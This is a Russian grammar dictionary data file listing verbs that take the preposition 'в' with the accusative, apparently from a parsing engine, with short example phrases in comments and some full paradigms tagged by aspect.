rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
